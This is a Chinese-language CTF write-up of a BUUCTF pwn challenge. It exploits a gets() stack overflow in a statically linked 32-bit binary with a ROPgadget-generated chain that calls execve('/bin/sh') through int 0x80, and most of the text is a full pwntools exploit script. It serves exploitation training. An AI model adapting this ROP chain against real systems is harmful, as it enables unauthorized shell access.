# 前置知识
静态编译程序特点
(main 函数里实现非常简单,但是拖入 IDA 后函数窗口里的函数很复杂大概率是静态编译的,因为没有使用系统 libc 所以程序的.text 段会看起来会很复杂)
# 1. 查看程序信息
32 位程序,未开启 pie,开启了 nx
ida 反汇编查看 main 函数,发现有个 overflow函数
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
overflow(); | |
return 0; | |
} |
查看 overflow函数
_BYTE *overflow() | |
{ | |
char v1[12]; // [esp+Ch] [ebp-Ch] BYREF | |
return gets(v1); | |
} |
发现有个 gets 函数,可以无限制的写入导致栈溢出
# 2. 漏洞分析
有个 gets 函数可以栈溢出,但是没有后门函数,用 ida 发现里面有许许多多乱七八糟的函数,应该是来干扰的,没有调用 write 或者 puts 等函数无法泄露 libc,这种情况下可以尝试系统调用,因为程序本身有很多函数,会调用很多寄存器,这样方便我们构造系统调用的结构
先查看是否有 int 0x80
来调用系统调用
找到了 int 0x80
,那我们就可以在找其他相应的寄存器来构造 execve("/bin/sh",0,0)
系统调用号为 11
32位架构系统调用寄存器顺序为:
1. eax(存放系统调用号,并不是指int 0x80)
2. ebx(存放第一个参数,"/bin/sh")
3. ecx(存放第二个参数, 0 )
4. edx(存放第三个参数, 0 )
利用方式 1:
利用 ROPgadget 查找对应地址
构造 rop 链的时候只要记得 32 位系统是先函数再参数
https://macchiato.ink/pwn/ctf/buuctf/#inndy-rop
利用方式 2:
利用 ROPgadget 来直接生成对应的 ropchain
ROPgadget --binary rop --ropchain
使用方式:将这段代码复制过去加上对应个数的 padding 即可
注意 :
工具生成的代码和我们日常使用的代码格式和风格上都有一定差距,从 struct 包中导入的 pack 函数也会和 pwntools 中的 pack 起冲突,如果一定要使用 struct 的 pack,就在导入 pwntools 后
再 导入struct
,这样就可以覆盖掉 pack
一定要导入库,导入库!!!
# exp:
from pwn import * | |
from LibcSearcher import * | |
from struct import pack | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./rop') | |
#e=ELF('./') | |
io=remote('node4.buuoj.cn',27363) | |
p = b'a'*(16) | |
p += pack('<I', 0x0806ecda) # pop edx ; ret | |
p += pack('<I', 0x080ea060) # @ .data | |
p += pack('<I', 0x080b8016) # pop eax ; ret | |
p += b'/bin' | |
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret | |
p += pack('<I', 0x0806ecda) # pop edx ; ret | |
p += pack('<I', 0x080ea064) # @ .data + 4 | |
p += pack('<I', 0x080b8016) # pop eax ; ret | |
p += b'//sh' | |
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret | |
p += pack('<I', 0x0806ecda) # pop edx ; ret | |
p += pack('<I', 0x080ea068) # @ .data + 8 | |
p += pack('<I', 0x080492d3) # xor eax, eax ; ret | |
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret | |
p += pack('<I', 0x080481c9) # pop ebx ; ret | |
p += pack('<I', 0x080ea060) # @ .data | |
p += pack('<I', 0x080de769) # pop ecx ; ret | |
p += pack('<I', 0x080ea068) # @ .data + 8 | |
p += pack('<I', 0x0806ecda) # pop edx ; ret | |
p += pack('<I', 0x080ea068) # @ .data + 8 | |
p += pack('<I', 0x080492d3) # xor eax, eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0807a66f) # inc eax ; ret | |
p += pack('<I', 0x0806c943) # int 0x80 | |
payload=p | |
io.sendline(payload) | |
io.interactive() |